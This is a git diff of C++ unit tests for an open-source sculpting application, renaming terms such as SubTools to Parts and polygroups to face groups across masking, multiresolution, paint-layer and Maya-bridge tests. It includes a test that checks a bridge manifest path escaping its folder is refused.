+ j.set("name", old.at("classic") + " head");
+ const Json m = legacy::modernizeKeys(j);
+ CHECK(m["libraryOpen"].asBool() && m["name"].asString() == old.at("classic") + " head");
+
+ // Scripts and macros: old command names, and old values the command refuses as they are.
+ CommandRegistry reg;
+ CHECK(reg.find(old.at("part") + "_list") == reg.find("part_list") && reg.find("part_list") != nullptr);
+ Document doc;
+ CHECK(reg.execute(doc, old.at("part") + "_list", {}).ok);
+ CHECK(!reg.execute(doc, "no_such_" + old.at("part"), {}).ok);
+}
diff --git a/tests/test_lightbox.cpp b/tests/test_library.cpp
similarity index 97%
rename from tests/test_lightbox.cpp
rename to tests/test_library.cpp
index 8e42e374..0ea6de12 100644
--- a/tests/test_lightbox.cpp
+++ b/tests/test_library.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// LightBox library logic: thumbnail cache keys, project thumbnails in .sfproj,
+// Library library logic: thumbnail cache keys, project thumbnails in .sfproj,
// folder listing, QuickSave files and the brush pop-up's letter keys.
#include "TestHarness.h"
@@ -60,7 +60,7 @@ TEST(thumbnail_cache_keys) {
}
TEST(project_thumbnail_round_trip) {
- const fs::path dir = fs::path(tempPath("sf_lightbox_thumb"));
+ const fs::path dir = fs::path(tempPath("sf_library_thumb"));
fs::remove_all(dir);
fs::create_directories(dir);
Document doc = makeDoc(makeIcosphere(2));
@@ -107,7 +107,7 @@ TEST(project_thumbnail_round_trip) {
}
TEST(library_folders_and_listing) {
- const fs::path root = fs::path(tempPath("sf_lightbox_lib"));
+ const fs::path root = fs::path(tempPath("sf_library_lib"));
fs::remove_all(root);
std::string err;
CHECK(ensureUserLibrary(root.string(), err));
@@ -151,7 +151,7 @@ TEST(library_folders_and_listing) {
}
TEST(quicksave_files) {
- const fs::path dir = fs::path(tempPath("sf_lightbox_quick"));
+ const fs::path dir = fs::path(tempPath("sf_library_quick"));
fs::remove_all(dir);
fs::create_directories(dir);
const std::string name = quickSaveName(1700000000);
diff --git a/tests/test_looks.cpp b/tests/test_looks.cpp
index 5b899285..4984634c 100644
--- a/tests/test_looks.cpp
+++ b/tests/test_looks.cpp
@@ -140,14 +140,14 @@ TEST(looks_tiled_geometry_left_handed) {
TEST(looks_standard_layouts) {
const UiLayout zb = standardLayout(0), sf = standardLayout(1);
- CHECK(zb.topShelf == standardLayout().topShelf); // the ZBrush-style layout is the old standard one
+ CHECK(zb.topShelf == standardLayout().topShelf); // the Classic layout is the old standard one
CHECK(sf.topShelf != zb.topShelf);
for (const std::string& id : sf.topShelf) CHECK(id != "row"); // one row
CHECK(sf.bottomShelf == zb.bottomShelf);
}
TEST(looks_stored_layout_without_shelves) {
- // A SculptForge-layout ui.json that stored no shelves gets the SculptForge layout's shelves, not the ZBrush-style ones.
+ // A SculptForge-layout ui.json that stored no shelves gets the SculptForge layout's shelves, not the classic ones.
Json j = Json::object();
j.set("version", 3.0);
j.set("rightTrayOpen", false);
@@ -158,6 +158,6 @@ TEST(looks_stored_layout_without_shelves) {
CHECK(!sf.rightTrayOpen);
CHECK(fromJson(j, zb, err, 0));
CHECK(zb.topShelf == standardLayout(0).topShelf);
- CHECK(fromJson(j, zb, err)); // the ZBrush-style layout's when the layout isn't named
+ CHECK(fromJson(j, zb, err)); // the Classic layout's when the layout isn't named
CHECK(zb.topShelf == standardLayout(0).topShelf);
}
diff --git a/tests/test_malformed_files.cpp b/tests/test_malformed_files.cpp
index a9d9fd96..885eda86 100644
--- a/tests/test_malformed_files.cpp
+++ b/tests/test_malformed_files.cpp
@@ -165,15 +165,15 @@ TEST(malformed_material_channels_in_a_project_fail_cleanly) {
CHECK(Json::parse(std::string(entries[0].data.begin(), entries[0].data.end()), manifest, err));
// Json is read-only through [], so edits copy the path down and set it back.
auto editPbr = [&](const std::function<void(Json&)>& edit) {
- Json subtools = manifest["subtools"];
- Json st = subtools[0], tex = st["texture"], pbr = tex["pbr"];
+ Json parts = manifest["parts"];
+ Json st = parts[0], tex = st["texture"], pbr = tex["pbr"];
edit(pbr);
tex.set("pbr", std::move(pbr));
st.set("texture", std::move(tex));
Json list = Json::array();
list.push(std::move(st));
- for (size_t i = 1; i < subtools.size(); ++i) list.push(subtools[i]);
- manifest.set("subtools", std::move(list));
+ for (size_t i = 1; i < parts.size(); ++i) list.push(parts[i]);
+ manifest.set("parts", std::move(list));
};
editPbr([](Json& pbr) {
Json channels = pbr["channels"];
diff --git a/tests/test_masking.cpp b/tests/test_masking.cpp
index b8932b33..939d607e 100644
--- a/tests/test_masking.cpp
+++ b/tests/test_masking.cpp
@@ -132,7 +132,7 @@ TEST(painted_mask_protects_from_brushes) {
TEST(mask_commands_registered) {
const std::string schema = registry().toolSchemaJson();
for (const char* name : {"mask_clear", "mask_all", "mask_invert", "mask_blur", "mask_sharpen", "mask_grow",
- "mask_shrink", "mask_by_cavity", "mask_by_polygroup", "mask_border", "mask_rect", "mask_lasso"}) {
+ "mask_shrink", "mask_by_cavity", "mask_by_facegroup", "mask_border", "mask_rect", "mask_lasso"}) {
CHECK(registry().find(name) != nullptr);
CHECK(schema.find(std::string("\"") + name + "\"") != std::string::npos);
}
@@ -238,15 +238,15 @@ TEST(mask_by_cavity_finds_creases) {
CHECK(countMasked(d.mesh, 0.0f) > 0);
}
-TEST(mask_by_polygroup) {
+TEST(mask_by_facegroup) {
Document d = makeDoc(makeIcosphere(3));
Mesh& m = d.mesh;
- m.ensurePolygroups();
+ m.ensureFaceGroups();
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const auto& tri = m.triangles[t];
- m.polygroups[t] = (m.positions[tri.x].z + m.positions[tri.y].z + m.positions[tri.z].z) > 0.0f ? 2u : 0u;
+ m.facegroups[t] = (m.positions[tri.x].z + m.positions[tri.y].z + m.positions[tri.z].z) > 0.0f ? 2u : 0u;
}
- CHECK(registry().execute(d, "mask_by_polygroup", {{"group", 2.0}}).ok);
+ CHECK(registry().execute(d, "mask_by_facegroup", {{"group", 2.0}}).ok);
bool ok = true;
for (uint32_t v = 0; v < m.vertexCount(); ++v) {
if (m.positions[v].z > 0.2f) ok &= m.mask[v] == 1.0f;
@@ -254,14 +254,14 @@ TEST(mask_by_polygroup) {
}
CHECK(ok);
// Replace vs add.
- CHECK(registry().execute(d, "mask_by_polygroup", {{"group", 0.0}}).ok);
+ CHECK(registry().execute(d, "mask_by_facegroup", {{"group", 0.0}}).ok);
bool replaced = true;
for (uint32_t v = 0; v < m.vertexCount(); ++v)
if (m.positions[v].z > 0.2f) replaced &= m.mask[v] == 0.0f;
CHECK(replaced);
- CHECK(registry().execute(d, "mask_by_polygroup", {{"group", 2.0}, {"add", true}}).ok);
+ CHECK(registry().execute(d, "mask_by_facegroup", {{"group", 2.0}, {"add", true}}).ok);
CHECK(countMasked(m) == m.vertexCount());
- CHECK(!registry().execute(d, "mask_by_polygroup", {}).ok); // group is required
+ CHECK(!registry().execute(d, "mask_by_facegroup", {}).ok); // group is required
CHECK(registry().execute(d, "undo").ok);
CHECK(registry().execute(d, "undo").ok);
CHECK(registry().execute(d, "undo").ok);
@@ -374,7 +374,7 @@ TEST(mask_rect_and_lasso_symmetry_and_clear_outside) {
CHECK(wrong == 0 && countMasked(y.mesh) > 0);
CHECK(!registry().execute(y, "mask_rect", {{"symmetry", std::string("xw")}}).ok);
- // clear_outside (#48, ZBrush's Ctrl+drag on the background): a shape that covers none of the model clears the
+ // clear_outside (#48, the classic Ctrl+drag on the background): a shape that covers none of the model clears the
// mask, as one undo step; one that covers some masks as usual; without it a miss changes nothing.
const size_t before = countMasked(m);
CHECK(registry().execute(d, "mask_rect", {{"x0", 5.0}, {"y0", 5.0}, {"x1", 6.0}, {"y1", 6.0}}).ok);
@@ -453,29 +453,29 @@ TEST(mask_border_closed_mesh_masks_nothing) {
CHECK(r.message.find("No open edges: the mesh is closed") != std::string::npos);
CHECK(countMasked(d.mesh, 0.0f) == 0);
CHECK(!d.undo.canUndo());
- // Nor are there polygroup borders on a mesh of one polygroup.
- r = registry().execute(d, "mask_border", {{"polygroups", true}});
+ // Nor are there face group borders on a mesh of one face group.
+ r = registry().execute(d, "mask_border", {{"facegroups", true}});
CHECK(r.message.find("No open edges") != std::string::npos);
CHECK(!d.undo.canUndo());
}
-TEST(mask_border_polygroup_borders) {
+TEST(mask_border_facegroup_borders) {
Document d = makeDoc(makeIcosphere(3));
Mesh& m = d.mesh;
- m.polygroups.assign(m.triangleCount(), 0);
+ m.facegroups.assign(m.triangleCount(), 0);
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
const glm::uvec3 tri = m.triangles[t];
- m.polygroups[t] = m.positions[tri.x].y + m.positions[tri.y].y + m.positions[tri.z].y > 0.0f ? 1u : 0u;
+ m.facegroups[t] = m.positions[tri.x].y + m.positions[tri.y].y + m.positions[tri.z].y > 0.0f ? 1u : 0u;
}
- CHECK(registry().execute(d, "mask_border", {{"polygroups", true}}).ok);
+ CHECK(registry().execute(d, "mask_border", {{"facegroups", true}}).ok);
const size_t seam = countMasked(m);
CHECK(seam > 0 && seam < m.vertexCount() / 4);
bool nearEquator = true;
for (uint32_t v = 0; v < m.vertexCount(); ++v)
if (m.mask[v] > 0.5f) nearEquator &= std::abs(m.positions[v].y) < 0.25f;
CHECK(nearEquator);
- CHECK(registry().execute(d, "mask_border", {{"polygroups", true}, {"rings", 3.0}}).ok);
+ CHECK(registry().execute(d, "mask_border", {{"facegroups", true}, {"rings", 3.0}}).ok);
CHECK(countMasked(m) > seam);
- // Without polygroups the closed sphere still has no border to mask.
+ // Without face groups the closed sphere still has no border to mask.
CHECK(registry().execute(d, "mask_border").message.find("No open edges") != std::string::npos);
}
diff --git a/tests/test_maya_bridge.cpp b/tests/test_maya_bridge.cpp
index ce12045e..ffc55054 100644
--- a/tests/test_maya_bridge.cpp
+++ b/tests/test_maya_bridge.cpp
@@ -123,20 +123,20 @@ TEST(maya_bridge_round_trip) {
// Off until a folder is given; a folder that isn't there is refused.
Document doc = makeDoc(makeCube(3)); // quads
- doc.subtools[0].name = "Body Hi";
+ doc.parts[0].name = "Body Hi";
doc.mesh.uvs.assign(doc.mesh.triangleCount() * 3, glm::vec2(0.25f, 0.75f));
- doc.mesh.ensurePolygroups();
+ doc.mesh.ensureFaceGroups();
for (uint32_t t = 0; t < doc.mesh.triangleCount(); ++t) { // one group per cube side (quads stay whole)
const auto& tri = doc.mesh.triangles[t];
const glm::vec3 n = glm::abs(glm::cross(doc.mesh.positions[tri[1]] - doc.mesh.positions[tri[0]],
doc.mesh.positions[tri[2]] - doc.mesh.positions[tri[0]]));
- doc.mesh.polygroups[t] = n.x > n.y && n.x > n.z ? 1 : n.y > n.z ? 2 : 3;
+ doc.mesh.facegroups[t] = n.x > n.y && n.x > n.z ? 1 : n.y > n.z ? 2 : 3;
}
CHECK(!reg.execute(doc, "maya_send", {{"folder", std::string()}}).ok);
CHECK(!reg.execute(doc, "maya_send", {{"folder", (root / "missing").string()}}).ok);
CHECK(!fs::exists(root / "missing"));
- // Send: OBJ with quads and UVs (polygroups stay home), a Maya-safe name, the manifest.
+ // Send: OBJ with quads and UVs (face groups stay home), a Maya-safe name, the manifest.
const size_t quads = doc.mesh.quadCount();
const size_t triangles = doc.mesh.triangleCount();
CHECK(quads > 0);
@@ -145,10 +145,10 @@ TEST(maya_bridge_round_trip) {
MayaManifest sent;
CHECK(readMayaManifest(mayaManifestPath(mayaOutbox(folder)), sent, err));
CHECK(sent.revision == 1 && sent.sender == "sculptforge" && sent.objects.size() == 1);
- CHECK(sent.objects[0].name == "Body_Hi" && doc.gozName == "Body_Hi");
+ CHECK(sent.objects[0].name == "Body_Hi" && doc.bridgeName == "Body_Hi");
Mesh obj;
CHECK(loadObj((root / "sculptforge_to_maya" / sent.objects[0].file).string(), obj, err));
- CHECK(obj.triangleCount() == triangles && obj.quadCount() == quads && obj.hasUvs() && !obj.hasPolygroups());
+ CHECK(obj.triangleCount() == triangles && obj.quadCount() == quads && obj.hasUvs() && !obj.hasFaceGroups());
// "Maya" sends it back changed (here: the file SculptForge wrote, moved up), plus a new object.
const fs::path inbox = root / "maya_to_sculptforge";
@@ -163,10 +163,10 @@ TEST(maya_bridge_round_trip) {
r = reg.execute(doc, "maya_receive", {{"folder", folder}});
CHECK(r.ok && r.message.find("Received 2 objects from Maya") != std::string::npos);
// Replaced by name (undoably), the new one added.
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 0 && doc.subtools[0].name == "Body Hi");
+ CHECK(doc.partCount() == 2 && doc.activePart == 0 && doc.parts[0].name == "Body Hi");
CHECK(doc.mesh.quadCount() == quads && doc.mesh.hasUvs() && doc.undo.canUndo());
CHECK(std::abs(doc.mesh.positions[0].y - obj.positions[0].y) < 1e-5f);
- CHECK(doc.subtools[1].name == "pSphere1" && doc.subtools[1].gozName == "pSphere1");
+ CHECK(doc.parts[1].name == "pSphere1" && doc.parts[1].bridgeName == "pSphere1");
// A second send: the next revision, the first send's files removed, others in the folder left alone.
writeText(root / "sculptforge_to_maya" / "notes.txt", "mine");
@@ -196,9 +196,9 @@ TEST(maya_bridge_round_trip) {
writeText(root / "outside.obj", "v 0 0 0\nv 1 0 0\nv 0 1 0\nf 1 2 3\n");
writeText(inbox / "manifest.json", R"({"format": "sculptforge-maya", "version": 1, "revision": 6,
"objects": [{"name": "x", "file": "../outside.obj"}]})");
- const int before = doc.subtoolCount();
+ const int before = doc.partCount();
r = reg.execute(doc, "maya_receive", {{"folder", folder}});
- CHECK(!r.ok && doc.subtoolCount() == before);
+ CHECK(!r.ok && doc.partCount() == before);
#ifndef _WIN32
// A link inside the folder that points out of it is not a plain file: refused.
std::error_code ec;
@@ -207,7 +207,7 @@ TEST(maya_bridge_round_trip) {
writeText(inbox / "manifest.json", R"({"format": "sculptforge-maya", "version": 1, "revision": 7,
"objects": [{"name": "x", "file": "link.obj"}]})");
r = reg.execute(doc, "maya_receive", {{"folder", folder}});
- CHECK(!r.ok && r.message.find("plain file") != std::string::npos && doc.subtoolCount() == before);
+ CHECK(!r.ok && r.message.find("plain file") != std::string::npos && doc.partCount() == before);
}
#endif
// A missing file says which.
diff --git a/tests/test_micro.cpp b/tests/test_micro.cpp
index 40f6e4e5..8c9d8b00 100644
--- a/tests/test_micro.cpp
+++ b/tests/test_micro.cpp
@@ -106,7 +106,7 @@ TEST(micro_divide_counts_and_memory) {
CHECK(worstMicro < worstFlat * 0.5f);
CHECK(watertight(doc.mesh));
std::string err;
- CHECK(!microDivide(doc.mesh, 2, err)); // one micro level per SubTool
+ CHECK(!microDivide(doc.mesh, 2, err)); // one micro level per Part
}
TEST(micro_divide_needs_top_level) {
@@ -152,9 +152,9 @@ TEST(micro_brushes_each_change_the_surface_and_stay_closed) {
BrushType type;
bool invert;
};
- for (const Case c : {Case{BrushType::Clay, false}, Case{BrushType::ClayBuildup, false}, Case{BrushType::Inflate, false},
+ for (const Case c : {Case{BrushType::Clay, false}, Case{BrushType::ClayBlock, false}, Case{BrushType::Inflate, false},
Case{BrushType::Flatten, false}, Case{BrushType::Crease, false}, Case{BrushType::Pinch, false},
- Case{BrushType::DamStandard, false}, Case{BrushType::Layer, false}, Case{BrushType::Trim, false},
+ Case{BrushType::SharpCrease, false}, Case{BrushType::Layer, false}, Case{BrushType::Trim, false},
Case{BrushType::Standard, true}}) {
Document doc = microDoc(3);
microNoise(doc.mesh, 0.01f, 12.0f); // something to flatten, trim and pinch
@@ -421,7 +421,7 @@ TEST(micro_commands) {
CHECK(reg.execute(doc, "micro_noise", {{"amplitude", 0.002}}).ok);
CHECK(reg.execute(doc, "micro_info").message.find("Micro level") != std::string::npos);
CHECK(reg.execute(doc, "micro_bake", {{"level", 1.0}}).ok);
- CHECK(doc.subtoolCount() == 2);
+ CHECK(doc.partCount() == 2);
CHECK(reg.execute(doc, "micro_delete").ok);
CHECK(doc.mesh.micro == nullptr);
CHECK(reg.execute(doc, "undo").ok);
diff --git a/tests/test_multires.cpp b/tests/test_multires.cpp
index bde96b13..ea02602e 100644
--- a/tests/test_multires.cpp
+++ b/tests/test_multires.cpp
@@ -3,7 +3,7 @@
//
// Multiresolution subdivision levels (core/Multires.h): Divide keeps quads, detail survives stepping up and
// down bit-for-bit, low-level edits carry the high-level detail along, high-level edits show up below, mask /
-// polygroups / UVs / paint / sculpt layers follow the levels, undo steps across levels, Del Lower / Del
+// face groups / UVs / paint / sculpt layers follow the levels, undo steps across levels, Del Lower / Del
// Higher / Reconstruct, projects keep every level, and exports can write the base.
#include "TestHarness.h"
@@ -11,7 +11,7 @@
#include "core/Multires.h"
#include "core/Primitives.h"
#include "core/Project.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "io/ObjIO.h"
#include <glm/gtc/matrix_transform.hpp>
@@ -245,7 +245,7 @@ TEST(multires_undo_steps_across_levels) {
TEST(multires_attributes_follow_levels) {
Document d = dividedCube(2);
- // Mask painted at the top shows at the corners of the base; polygroups set low are inherited up.
+ // Mask painted at the top shows at the corners of the base; face groups set low are inherited up.
run(d, "mask_all");
d.mesh.ensureMask();
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) d.mesh.mask[v] = d.mesh.positions[v].x > 0 ? 1.0f : 0.0f;
@@ -254,19 +254,19 @@ TEST(multires_attributes_follow_levels) {
CHECK(d.mesh.hasMask());
const Mesh base = subdivLevelMesh(d.mesh, 0);
for (uint32_t v = 0; v < d.mesh.vertexCount(); ++v) CHECK(d.mesh.mask[v] == (base.positions[v].x > 0 ? 1.0f : 0.0f));
- d.mesh.ensurePolygroups();
- for (auto& g : d.mesh.polygroups) g = 7;
- d.mesh.polygroups[0] = 9;
- d.mesh.polygroups[1] = 9; // one quad
+ d.mesh.ensureFaceGroups();
+ for (auto& g : d.mesh.facegroups) g = 7;
+ d.mesh.facegroups[0] = 9;
+ d.mesh.facegroups[1] = 9; // one quad
CHECK(run(d, "subdiv_level", {{"level", 3.0}}).ok);
CHECK(d.mesh.mask == topMask); // untouched mask detail kept
size_t nine = 0;
- for (uint32_t g : d.mesh.polygroups) nine += g == 9;
+ for (uint32_t g : d.mesh.facegroups) nine += g == 9;
CHECK(nine == 2 * 16); // the quad's 16 grandchildren
- for (uint32_t g : d.mesh.polygroups) CHECK(g == 7 || g == 9);
+ for (uint32_t g : d.mesh.facegroups) CHECK(g == 7 || g == 9);
// Hidden faces at the top hide their parents below.
d.mesh.ensureHidden();
- for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t) d.mesh.hidden[t] = d.mesh.polygroups[t] == 9;
+ for (uint32_t t = 0; t < d.mesh.triangleCount(); ++t) d.mesh.hidden[t] = d.mesh.facegroups[t] == 9;
CHECK(run(d, "subdiv_level", {{"level", 1.0}}).ok);
CHECK(d.mesh.hasHidden() && d.mesh.hidden[0] && d.mesh.hidden[1] && !d.mesh.hidden[2]);
// Clearing the mask clears it everywhere.
@@ -296,7 +296,7 @@ TEST(multires_attributes_follow_levels) {
CHECK(run(u, "subdiv_level", {{"level", 1.0}}).ok);
CHECK(run(u, "subdiv_level", {{"level", 2.0}}).ok);
CHECK(u.mesh.uvs == uvs);
- // Polypaint painted low is interpolated up; paint at the top survives a low-level paint elsewhere.
+ // Vertex paint painted low is interpolated up; paint at the top survives a low-level paint elsewhere.
Document c = dividedCube(2);
c.mesh.ensureColors();
c.mesh.colors[0] = glm::vec3(1, 0, 0);
@@ -399,7 +399,7 @@ TEST(multires_project_round_trip_keeps_every_level) {
CHECK(stroke(d, "0,0,2", "Standard", 0.3));
CHECK(run(d, "subdiv_level", {{"level", 2.0}}).ok);
CHECK(stroke(d, "0.4,0.4,2", "Inflate", 0.4, 1.0)); // pending, not folded in yet
- d.mesh.ensurePolygroups()[3] = 5;
+ d.mesh.ensureFaceGroups()[3] = 5;
std::vector<std::vector<glm::vec3>> levels;
for (int i = 0; i < 4; ++i) levels.push_back(subdivLevelMesh(d.mesh, i).positions);
const std::string path = tempPath("sf_multires.sfproj");
@@ -409,37 +409,37 @@ TEST(multires_project_round_trip_keeps_every_level) {
CHECK(loadProject(path, e, err));
CHECK(subdivLevelText(e.mesh) == "SDiv 2/4");
CHECK(bitEqual(e.mesh.positions, levels[1]));
- CHECK(e.mesh.polygroupAt(3) == 5);
+ CHECK(e.mesh.facegroupAt(3) == 5);
for (int i : {0, 3, 2, 1}) {
CHECK(run(e, "subdiv_level", {{"level", double(i + 1)}}).ok);
CHECK(maxDistance(e.mesh.positions, levels[size_t(i)]) < 1e-6f);
}
- // Saved through the command too (which folds pending edits in first), and a second SubTool keeps its own levels.
- e.addSubtool(makeIcosphere(1), "Eye", true);
+ // Saved through the command too (which folds pending edits in first), and a second Part keeps its own levels.
+ e.addPart(makeIcosphere(1), "Eye", true);
run(e, "subdiv_divide");
CHECK(run(e, "save_project", {{"path", path}}).ok);
Document f;
CHECK(loadProject(path, f, err));
- CHECK(f.subtoolCount() == 2);
+ CHECK(f.partCount() == 2);
CHECK(subdivLevelText(f.mesh) == "SDiv 2/2");
- f.selectSubtool(0);
+ f.selectPart(0);
CHECK(subdivLevelText(f.mesh) == "SDiv 2/4");
CHECK(run(f, "subdiv_level", {{"level", 4.0}}).ok);
CHECK(maxDistance(f.mesh.positions, levels[3]) < 1e-6f);
std::filesystem::remove(path);
}
-TEST(multires_subtools_exports_and_info) {
+TEST(multires_parts_exports_and_info) {
Document d = dividedCube(2);
- d.addSubtool(makeIcosphere(1), "Eye", true);
+ d.addPart(makeIcosphere(1), "Eye", true);
CHECK(subdivLevelCount(d.mesh) == 0);
- d.selectSubtool(0);
+ d.selectPart(0);
CHECK(subdivLevelText(d.mesh) == "SDiv 3/3");
- CHECK(run(d, "subtool_list").message.find("SDiv 3/3") != std::string::npos);
+ CHECK(run(d, "part_list").message.find("SDiv 3/3") != std::string::npos);
CHECK(run(d, "subdiv_info").message.find("SDiv 1: 108 triangles") != std::string::npos);
// Exports write the current level; subdiv_export the base.
const std::string cur = tempPath("sf_multires_cur.obj"), base = tempPath("sf_multires_base.obj");
- d.subtools[1].visible = false;
+ d.parts[1].visible = false;
CHECK(run(d, "save_obj", {{"path", cur}}).ok);
CHECK(run(d, "subdiv_export", {{"path", base}}).ok);
CHECK(countObjFaces(cur, 4) == 54 * 16);
diff --git a/tests/test_multires_layers.cpp b/tests/test_multires_layers.cpp
index e5f4f0ff..ad7e7f64 100644
--- a/tests/test_multires_layers.cpp
+++ b/tests/test_multires_layers.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Sculpt layers on subdivision levels, as ZBrush's 3D Layers: a layer recorded at the top level survives stepping
+// Sculpt layers on subdivision levels 3D Layers: a layer recorded at the top level survives stepping
// down and up, Divide, Reconstruct Subdiv, Del Lower / Del Higher, saving and loading, and stays togglable and
// blendable at every level; layers added or sculpted at a low level show at the top; undo across levels; blend
// shapes export from the current level.
diff --git a/tests/test_multires_polish.cpp b/tests/test_multires_polish.cpp
index d7e0d385..be438d97 100644
--- a/tests/test_multires_polish.cpp
+++ b/tests/test_multires_polish.cpp
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Subdivision levels, polish: tools that rebuild the mesh say they drop the levels and undo brings them back,
-// sculpt-layer detail turns with the low level, and inactive SubTools don't keep cached levels.
+// sculpt-layer detail turns with the low level, and inactive Parts don't keep cached levels.
#include "TestHarness.h"
#include "core/Commands.h"
@@ -69,12 +69,12 @@ double msSince(std::chrono::steady_clock::time_point t0) {
} // namespace
-// Timing of selecting SubTools and stepping levels on a 1.77M-triangle top level (SF_LEVELS_BENCH=1).
+// Timing of selecting Parts and stepping levels on a 1.77M-triangle top level (SF_LEVELS_BENCH=1).
TEST(multires_bench_select_and_step) {
if (!std::getenv("SF_LEVELS_BENCH")) return;
Document d = makeDoc(makeCube(3));
for (int i = 0; i < 7; ++i) run(d, "subdiv_divide");
- d.addSubtool(makeIcosphere(3), "Eye", false);
+ d.addPart(makeIcosphere(3), "Eye", false);
std::printf(" top level: %zu triangles\n", d.mesh.triangleCount());
// Fill the level cache: down and back up.
run(d, "subdiv_lower");
@@ -84,10 +84,10 @@ TEST(multires_bench_select_and_step) {
double(subdivBytes(d.mesh)) / 1e6);
for (int round = 0; round < 3; ++round) {
auto t0 = std::chrono::steady_clock::now();
- d.selectSubtool(1);
+ d.selectPart(1);
const double away = msSince(t0);
t0 = std::chrono::steady_clock::now();
- d.selectSubtool(0);
+ d.selectPart(0);
const double back = msSince(t0);
t0 = std::chrono::steady_clock::now();
run(d, "subdiv_lower");
@@ -190,29 +190,29 @@ TEST(multires_rebuilding_tools_drop_levels_and_undo_restores_them) {
CHECK(!contains(run(p, "decimate", {{"ratio", 0.5}}).message, "Subdivision"));
}
-// Merging and splitting SubTools (not undoable) use each SubTool's current level and say so.
+// Merging and splitting Parts (not undoable) use each Part's current level and say so.
TEST(multires_merge_and_split_say_levels_are_removed) {
Document d = levelledCube();
- d.subtools[0].name = "Body";
+ d.parts[0].name = "Body";
const size_t current = d.mesh.triangleCount();
- d.addSubtool(makeIcosphere(1), "Eye", false);
- CommandResult r = run(d, "subtool_merge_down");
+ d.addPart(makeIcosphere(1), "Eye", false);
+ CommandResult r = run(d, "part_merge_down");
CHECK(r.ok);
CHECK(contains(r.message, "Subdivision levels removed: Body SDiv 2 of 3 kept as the new base"));
CHECK(d.mesh.triangleCount() == current + makeIcosphere(1).triangleCount());
CHECK(subdivLevelCount(d.mesh) == 0);
// Split: pieces of the current level.
Document t = levelledCube();
- for (uint32_t i = 0; i < t.mesh.triangleCount(); ++i) t.mesh.ensurePolygroups()[i] = i < 100 ? 1 : 2;
- r = run(t, "subtool_split_groups");
+ for (uint32_t i = 0; i < t.mesh.triangleCount(); ++i) t.mesh.ensureFaceGroups()[i] = i < 100 ? 1 : 2;
+ r = run(t, "part_split_groups");
CHECK(r.ok);
CHECK(contains(r.message, "Subdivision levels removed: Sculpt SDiv 2 of 3 kept as the new base"));
- CHECK(t.mesh.triangleCount() == 100 || t.subtoolMesh(0).triangleCount() == 100);
- // Merge visible: both SubTools with levels are named.
+ CHECK(t.mesh.triangleCount() == 100 || t.partMesh(0).triangleCount() == 100);
+ // Merge visible: both Parts with levels are named.
Document m = levelledCube();
- m.addSubtool(makeCube(2), "Box", true);
+ m.addPart(makeCube(2), "Box", true);
run(m, "subdiv_divide");
- r = run(m, "subtool_merge_visible");
+ r = run(m, "part_merge_visible");
CHECK(r.ok);
CHECK(contains(r.message, "Sculpt SDiv 2 of 3"));
CHECK(contains(r.message, "Box SDiv 2 of 2"));
@@ -318,9 +318,9 @@ TEST(multires_format4_layer_detail_is_converted) {
std::filesystem::remove(path);
}
-// Only the active SubTool keeps cached levels: leaving a SubTool frees its cache, and stepping levels after
+// Only the active Part keeps cached levels: leaving a Part frees its cache, and stepping levels after
// coming back still works (the level is rebuilt once).
-TEST(multires_inactive_subtools_free_their_level_cache) {
+TEST(multires_inactive_parts_free_their_level_cache) {
Document d = makeDoc(makeCube(4));
for (int i = 0; i < 3; ++i) run(d, "subdiv_divide");
stroke(d, "0,0,2");
@@ -331,10 +331,10 @@ TEST(multires_inactive_subtools_free_their_level_cache) {
std::printf(" cache %zu bytes, stack %zu bytes\n", cached, stackBytes);
CHECK(cached > d.mesh.triangleCount() * 12); // at least the level left
const std::vector<glm::vec3> top = d.mesh.positions;
- d.addSubtool(makeIcosphere(1), "Eye", true); // selects the new SubTool
- CHECK(subdivCacheBytes(d.subtoolMesh(0)) == 0);
- CHECK(subdivBytes(d.subtoolMesh(0)) == stackBytes); // the levels themselves are kept
- d.selectSubtool(0);
+ d.addPart(makeIcosphere(1), "Eye", true); // selects the new Part
+ CHECK(subdivCacheBytes(d.partMesh(0)) == 0);
+ CHECK(subdivBytes(d.partMesh(0)) == stackBytes); // the levels themselves are kept
+ d.selectPart(0);
CHECK(subdivLevelText(d.mesh) == "SDiv 4/4");
CHECK(bitEqual(d.mesh.positions, top));
CHECK(run(d, "subdiv_lower").ok);
diff --git a/tests/test_paint_layers.cpp b/tests/test_paint_layers.cpp
index 87c0226d..701a2a48 100644
--- a/tests/test_paint_layers.cpp
+++ b/tests/test_paint_layers.cpp
@@ -9,8 +9,8 @@
#include "core/Commands.h"
#include "core/Decimate.h"
#include "core/PaintLayer.h"
-#include "core/Polygroups.h"
-#include "core/Polypaint.h"
+#include "core/FaceGroups.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "io/PlyIO.h"
@@ -100,7 +100,7 @@ TEST(paint_layers_compositing) {
Mesh m = makeIcosphere(2);
m.ensureColors(lin(0.8f, 0.4f, 0.2f));
const std::vector<glm::vec3> before = m.colors;
- // One layer added and removed again: the polypaint is exactly what it was.
+ // One layer added and removed again: the vertex paint is exactly what it was.
CHECK(addPaintLayer(m, "Temp") == 0 && hasPaintLayers(m) && m.paintBase == before);
CHECK(m.colors == before); // a fresh layer is transparent
CHECK(removePaintLayer(m, 0) && !hasPaintLayers(m) && m.paintBase.empty());
@@ -268,7 +268,7 @@ TEST(paint_layers_commands_and_undo) {
CHECK(same && near(linearToSrgb(m.paintBase[0]), kRed, 3e-3f));
CHECK(reg.execute(doc, "undo").ok && sameStack(m, three));
- // Flatten: plain polypaint that looks the same; undo brings the layers back.
+ // Flatten: plain vertex paint that looks the same; undo brings the layers back.
CHECK(reg.execute(doc, "paint_layer_flatten").ok && m.paintLayers.empty() && m.paintBase.empty());
CHECK(m.colors == look);
CHECK(reg.execute(doc, "undo").ok && sameStack(m, three));
@@ -299,19 +299,19 @@ TEST(paint_layers_project_round_trip) {
CHECK(reg.execute(doc, "paint_fill", {{"color", std::string("#00ff00")}}).ok);
